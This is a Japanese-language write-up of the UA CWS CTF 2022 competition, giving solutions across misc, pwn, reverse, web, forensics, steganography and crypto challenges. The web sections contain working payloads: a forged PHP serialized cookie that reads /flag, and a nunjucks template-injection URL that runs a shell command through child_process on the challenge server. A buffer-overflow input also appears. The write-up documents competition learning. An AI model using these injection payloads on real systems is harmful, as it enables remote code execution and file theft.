UA CWS CTF 2022 Writeup

この大会は2022/5/23 18:00(JST)~2022/5/28 9:00(JST)に開催されました。
今回は久々に一人チームで参戦。結果は2202点で475チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。

NotHiNorLo (Misc)

$ strings -n 2 challenge | grep -A 5 CTFUA
CTFUA{bRH
u73_f0rcH
3_w0rks_H
s0m3t1m3H
s}
Hc
CTFUA{bRu73_f0rc3_w0rks_s0m3t1m3s}

Discord (Misc)

Discordに入り、#randomチャネルのトピックを見ると、フラグが書いてあった。

CTFUA{congratz_YoU_f0und_th3_d1sc0rd}

Credit Score (Misc)

問題の数字をASCIIコードとして文字にする。

76 117 104 110 → Luhn

Luhnアルゴリズムというのがあるらしい。https://ja.wikipedia.org/wiki/Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0#:~:text=Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%EF%BC%88Luhn%20algorithm%2C%20%E3%83%AB%E3%83%BC%E3%83%B3,MOD%2D10%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%E3%81%A8%E3%82%82%E3%80%82
にチェックするPythonコードもあるので、流用して妥当なカードナンバーの合計値を算出する。

#!/usr/bin/env python3
def check_number(digits):
    _sum = 0
    alt = False
    for d in reversed(digits):
        assert 0 <= d <= 9
        if alt:
            d *= 2
            if d > 9:
                d -= 9
        _sum += d
        alt = not alt
    return (_sum % 10) == 0


with open('numbers.txt', 'r') as f:
    numbers = f.read().splitlines()

sum = 0
for number in numbers:
    digits = [int(n) for n in number]
    if check_number(digits):
        sum += int(number)

flag = 'CTFUA{%d}' % sum
print(flag)
CTFUA{4363233915970}

Badass quotes (Pwn)

BOFでquoteの32バイトを埋めた後に"BaDaSs I Am"を指定すればフラグが表示される。

$ nc cybersecweek.ua.pt 2010

I CaN HaS BaDaSs QuOtE?
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaDaSs I Am

CTFUA{!YoU_Ar3_B4dAss!}
 ,_     _
 |\_,-~/
 / _  _ |    ,--.
(  @  @ )   / ,-'
   _T_/-._( (   
 /         `.   
|         _   | 
   ,  /      | 
  || |-___   /  
 ((_/`(____,-'   
CTFUA{!YoU_Ar3_B4dAss!}

Hidden (Reverse)

関数名や変数名がわかりにくくなっている。比較している箇所を見ると、入力文字列とquack_quack_IΙΙI1I ()の結果を比較していることがわかる。quack_quack_IΙΙI1I ()は固定文字列なので、出力してみると、"1312520"であることがわかる。

$ python3 hidden.py
Hi! Im looking for a number, any number...
1312520
CTFUA{n0tall0bfusc4t10ni5go0d}
CTFUA{n0tall0bfusc4t10ni5go0d}

Penguim - (De)Serial Killer (Web)

hogeaアカウントを作成し、ログインする。Cookieのuserに以下が設定されている。

Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImhvZ2VhIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6MzE6Ii92YXIvd3d3L2h0bWwvYXZhdGFyL2F2YXRhci5qcGciO3M6MTE6InByb2ZpbGVfcGljIjtOO30%3D
$ echo Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImhvZ2VhIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6MzE6Ii92YXIvd3d3L2h0bWwvYXZhdGFyL2F2YXRhci5qcGciO3M6MTE6InByb2ZpbGVfcGljIjtOO30= | base64 -d
O:4:"User":3:{s:8:"username";s:5:"hogea";s:12:"picture_path";s:31:"/var/www/html/avatar/avatar.jpg";s:11:"profile_pic";N;}

PHP Object Injection Attackの問題のようだ。picture_pathに"/flag"を指定し、シリアライズする。

$ cat solve.php
<?php
class User {
    public $username;
    public $picture_path;
    public $profile_pic;

    public function __construct($name, $path) {
        $this->username = $name;
        $this->picture_path = $path;
    }

    public function __wakeup() {
        $this->profile_pic = file_get_contents($this->picture_path);
    }
}

$user = new User("admin", "/flag");
$user_obj = base64_encode(serialize($user));
echo $user_obj;
?>
$ php solve.php
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6NToiL2ZsYWciO3M6MTE6InByb2ZpbGVfcGljIjtOO30=

以下をCookieのuserに設定し、リロードする。

Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6NToiL2ZsYWciO3M6MTE6InByb2ZpbGVfcGljIjtOO30%3D

HTMLソースを見ると、こうなっている。

<!doctype html>
<html>
    <head>
        <title>Penguin (De)Serial Killer</title>
    </head>
    <body>
        <h1>Homepage</h1>
        <img src="data:image/jpeg;base64,Q1RGVUF7cEhwX3VuczNyMWFsaVplX2sxbmd9Cg==">        <form method='post' action="">
            <input type="submit" value="Logout" name="logout">
        </form>
    </body>
</html>
$ echo Q1RGVUF7cEhwX3VuczNyMWFsaVplX2sxbmd9Cg== | base64 -d
CTFUA{pHp_uns3r1aliZe_k1ng}
CTFUA{pHp_uns3r1aliZe_k1ng}

SunSet introspecTIon (Web)

Usernameに"a"と入力し、[Enter]キーを押すと、以下のURLに遷移し、"Hello a!"と表示される。

http://cybersecweek.ua.pt:2003/display?payload=a

http://cybersecweek.ua.pt:2003/display?payload={{7*7}}にアクセスすると、以下のように表示される。

Hello 49!

SSTIの問題のようだ。http://cybersecweek.ua.pt:2003/display?payload={{config.items()}}にアクセスすると、エラーになる。

Template render error: (unknown path) [Line 24, Column 40]
  Error: Unable to call `config["items"]`, which is undefined or falsey
    at Object._prettifyError (/app/node_modules/nunjucks/src/lib.js:36:11)
    at /app/node_modules/nunjucks/src/environment.js:563:19
    at Template.root [as rootRenderFunc] (eval at _compile (/app/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:19:3)
    at Template.render (/app/node_modules/nunjucks/src/environment.js:552:10)
    at Environment.renderString (/app/node_modules/nunjucks/src/environment.js:380:17)
    at Object.renderString (/app/node_modules/nunjucks/index.js:99:14)
    at /app/index.js:11:23
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)

nunjucksを使っているようだ。以下のURLにアクセスすると、フラグが表示された。

http://cybersecweek.ua.pt:2003/display?payload={{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /app/flag')")()}}
Username
Hello CTFUA{sSt1_nInj4_nuNjuck5} !
CTFUA{sSt1_nInj4_nuNjuck5}

Go, Land and Run (web)

指定したURLのページを読み取るWebページ。file:///flagを指定すると、フラグが表示された。

CTFUA{Inj3ct1ng_Comm4nDs_l1ke_A_b055}

So close but so far (Forensics)

$ cd .git
$ xxd -g 1 index
00000000: 44 49 52 43 00 00 00 02 00 00 00 01 62 57 61 14  DIRC........bWa.
00000010: 00 0c 22 3f 62 57 61 14 00 0c 22 3f 01 00 00 11  .."?bWa..."?....
00000020: 01 bf f3 7f 00 00 81 a4 00 00 01 f5 00 00 00 14  ................
00000030: 00 00 00 d5 52 2e 57 12 c8 d0 4f e9 38 80 88 e7  ....R.W...O.8...
00000040: db c6 a7 ed cc e4 58 84 00 08 74 68 69 65 66 2e  ......X...thief.
00000050: 70 79 00 00 54 52 45 45 00 00 00 19 00 31 20 30  py..TREE.....1 0
00000060: 0a 7d eb b0 3e b3 d9 72 18 90 09 69 d4 be f0 2b  .}..>..r...i...+
00000070: 3c 4a 6b 96 0c 89 57 7f c1 2e 3d a4 fe fd 15 8f  <Jk...W...=.....
00000080: ad 5b b1 a5 50 33 c7 20 41                       .[..P3. A

$ python -c 'import zlib; print zlib.decompress(open("objects/52/2e5712c8d04fe9388088e7dbc6a7edcce45884").read())'
blob 213import requests

url = 'https://juhaadrmihxlp77nkq712yazcldwshs3fod3ulmovfu2edibsot4csyd.onion/'
user, password = '', ''
resp = requests.get(url, auth=(user, password))

print(resp) # i need to save this somewhere

$ cat logs/refs/heads/master
0000000000000000000000000000000000000000 9fff15ee8e7e72e507e6e884b7f9610cf64a08fc João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100	commit (initial): first commit
9fff15ee8e7e72e507e6e884b7f9610cf64a08fc 3e00ad0e8f02c06f0fe331f3d325ed46f357992e João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100	commit: now it is easy
3e00ad0e8f02c06f0fe331f3d325ed46f357992e b7d9246a19777dca5ac6d2ca9ffc73899e448651 João Almeida <joao.rafael.almeida@ua.pt> 1649893083 +0100	commit: clean evidences

$ python -c 'import zlib; print zlib.decompress(open("objects/9f/ff15ee8e7e72e507e6e884b7f9610cf64a08fc").read())'
commit 195tree 2ce901143395c11ac82d38b1731dafa7449b7626
author João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100
committer João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100

first commit

$ python -c 'import zlib; print zlib.decompress(open("objects/2c/e901143395c11ac82d38b1731dafa7449b7626").read())' | xxd -g 1
00000000: 74 72 65 65 20 34 30 00 31 30 30 36 34 34 20 66  tree 40.100644 f
00000010: 61 6b 65 66 6c 61 67 2e 74 78 74 00 e6 9d e2 9b  akeflag.txt.....
00000020: b2 d1 d6 43 4b 8b 29 ae 77 5a d8 c2 e4 8c 53 91  ...CK.).wZ....S.
00000030: 0a                                               .

$ python -c 'import zlib; print zlib.decompress(open("objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391").read())'
blob 0

$ python -c 'import zlib; print zlib.decompress(open("objects/3e/00ad0e8f02c06f0fe331f3d325ed46f357992e").read())'
commit 245tree 7f60f7b7f4c20b4968a69b06953d5f3ca200742b
parent 9fff15ee8e7e72e507e6e884b7f9610cf64a08fc
author João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100
committer João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100

now it is easy

$ python -c 'import zlib; print zlib.decompress(open("objects/7f/60f7b7f4c20b4968a69b06953d5f3ca200742b").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 36 00 31 30 30 36 34 34 20 66  tree 36.100644 f
00000010: 6c 61 67 2e 74 78 74 00 39 10 4d 8d 48 95 b5 7c  lag.txt.9.M.H..|
00000020: d6 63 5f a4 64 d8 4c a8 6f 64 6f dc 0a           .c_.d.L.odo..

$ python -c 'import zlib; print zlib.decompress(open("objects/39/104d8d4895b57cd6635fa464d84ca86f646fdc").read())'
blob 24CTFUA{g1t_h00ks_4r3_fun}
CTFUA{g1t_h00ks_4r3_fun}

Digging for something (Forensics)

8.8.8.8へのdns通信パケットの問い合わせホスト名(4文字)があやしいので、書き出す。

Q1RG
VUF7
c0g0
cjFu
Z19k
NHRB
X3cx
VGhf
RG5T
X3F1
M3Ix
ZXN9

連結し、base64デコードする。

$ echo Q1RGVUF7c0g0cjFuZ19kNHRBX3cxVGhfRG5TX3F1M3IxZXN9 | base64 -d
CTFUA{sH4r1ng_d4tA_w1Th_DnS_qu3r1es}
CTFUA{sH4r1ng_d4tA_w1Th_DnS_qu3r1es}

Binwalk Blue (Steg)

$ binwalk Binwalk.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1336 x 886, 8-bit/color RGB, non-interlaced
179           0xB3            Zlib compressed data, best compression
2133180       0x208CBC        PNG image, 1640 x 664, 4-bit colormap, non-interlaced
2133282       0x208D22        Zlib compressed data, default compression

PNGの後ろにPNGがくっついているので、切り出す。切り出した画像は真っ白な状態。StegSolveでBlue plane 0を見ると、フラグが現れた。

CTFUA{t328_3Ht_2I_Kl4wN1B}

Common modulus numbers (Crypto)

Common Modulus Attackで復号する。復号すると、逆順のフラグになるので、逆順にして戻す。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_world(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

with open('challenge.txt', 'r') as f:
    lines = f.read().splitlines()

N = int(lines[0].split('=')[1])
e1 = int(lines[1].split('=')[1])
e2 = int(lines[2].split('=')[1])
C1 = int(lines[3].split('=')[1])
C2 = int(lines[4].split('=')[1])

m = commom_world(C1, C2, e1, e2, N)
flag = long_to_bytes(m)[::-1].decode()
print(flag)
CTFUA{CmOn_BrUh_SaMe_MoDuLuS}

Blind Soldier (Crypto)

点字になっているので、https://www.dcode.fr/braille-alphabetでデコードする。

⠉⠓⠁⠗⠇⠊⠑⠀⠞⠁⠝⠛⠕⠀⠋⠕⠭⠞⠗⠕⠞⠀⠥⠝⠊⠋⠕⠗⠍⠀⠁⠇⠋⠁⠀{⠞⠓⠗⠑⠑⠀⠝⠕⠧⠑⠍⠃⠑⠗⠀⠉⠓⠁⠗⠇⠊⠑⠀⠗⠕⠍⠑⠕⠀⠽⠁⠝⠅⠑⠑⠀⠏⠁⠏⠁⠀⠞⠁⠝⠛⠕⠀⠞⠓⠗⠑⠑⠀⠙⠑⠇⠞⠁⠀⠉⠕⠍⠍⠁⠀⠸⠞⠁⠝⠛⠕⠀⠓⠕⠞⠑⠇⠀⠕⠝⠑⠀⠎⠊⠑⠗⠗⠁⠀⠸⠊⠝⠙⠊⠁⠀⠎⠊⠑⠗⠗⠁⠀⠸⠝⠕⠧⠑⠍⠃⠑⠗⠀⠵⠑⠗⠕⠀⠞⠁⠝⠛⠕⠀}

CHARLIE TANGO FOXTROT UNIFORM ALFA {THREE NOVEMBER CHARLIE ROMEO YANKEE PAPA TANGO THREE DELTA COMMA _TANGO HOTEL ONE SIERRA _INDIA SIERRA _NOVEMBER ZERO TANGO}

数字の英語は数字に、それ以外は頭文字をとる。

CTFUA{3NCRYPT3D,_TH1S_IS_N0T}

A Computer's Best Friend (Crypto)

2進数8桁が並んでいるので、デコードする。さらに8進数が並んでいるので、デコードする。次に16進数になるので、デコードする。次にbase32文字列になるので、デコードする。最後にbase64文字列になるので、デコードする。これでフラグになる。

#!/usr/bin/env python3
from base64 import *

with open('criptograma.txt', 'r') as f:
    enc = f.read().rstrip().split(' ')

msg = ''
for c in enc:
    msg += chr(int(c, 2))
print('[+] msg:', msg)

enc = msg.split(' ')
msg = ''
for c in enc:
    msg += chr(int(c, 8))
print('[+] msg', msg)

msg = bytes.fromhex(msg)
print('[+] msg:', msg.decode())

msg = b32decode(msg)
print('[+] msg:', msg.decode())

flag = b64decode(msg)
print('[*] flag:', flag.decode())

実行結果は以下の通り。

[+] msg: 64 142 64 65 65 71 65 66 64 65 65 62 63 62 65 67 64 142 65 66 64 64 64 64 64 146 65 141 64 64 64 142 64 141 65 141 64 141 65 67 64 142 65 66 65 62 65 141 64 142 65 62 64 70 64 65 64 146 65 67 64 143 63 62 64 143 64 61 65 141 64 64 64 63 65 66 65 63 65 62 64 67 64 141 65 65 64 67 64 144 65 64 64 141 65 63 64 67 65 66 65 66 64 65 63 62 65 62 63 62 65 62 65 60 64 141 64 145 64 65 65 61 64 144 64 62 63 65
[+] msg 4b455956455232574b5644444f5a444b4a5a4a574b56525a4b5248454f574c324c415a4443565352474a55474d544a534756564532523252504a4e45514d4235
[+] msg: KEYVER2WKVDDOZDKJZJWKVRZKRHEOWL2LAZDCVSRGJUGMTJSGVVE2R2RPJNEQMB5
[+] msg: Q1RGVUF7djNSeV9TNGYzX21VQ2hfM25jMGQzZH0=
[*] flag: CTFUA{v3Ry_S4f3_mUCh_3nc0d3d}
CTFUA{v3Ry_S4f3_mUCh_3nc0d3d}

The Well of Chaos (Crypto)

4バイトごとに2413の順で並んでいるので、元に戻す。

#!/usr/bin/env python3
ct = 't,bwhr e\' esoryufa l:Cg FATUYd{0Hs440hNtnO1gM}n3'

msg = ''
for i in range(0, len(ct), 4):
    c = ct[i:i+4]
    msg += c[2] + c[0] + c[3] + c[1]
print(msg)

復号結果は以下の通り。

btw, here's your flag: CTFUA{Y0d4H4sN0th1ngOnM3}
CTFUA{Y0d4H4sN0th1ngOnM3}

The Alloy of Letters (Crypto)

使われている文字はすべてASCIIコードで126以下。ブルートフォースでシフトして復号する。

#!/usr/bin/env python3
def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
             if c != 10:
                 return False
    return True

with open('flag.txt', 'rb') as f:
    enc = f.read()

for k in range(127):
    dec = b''
    for c in enc:
        dec += bytes([(c - k) % 127])
    if is_printable(dec):
        print(dec.decode())
        break

復号結果は以下の通り。

So, you found out how to decryot this?
Here's your flag, you deserve it: CTFUA{L3tt3rFrequ3ncyMyB3l0v3d}

Now let me tell you what this course can do.. for you! 
        :
CTFUA{L3tt3rFrequ3ncyMyB3l0v3d}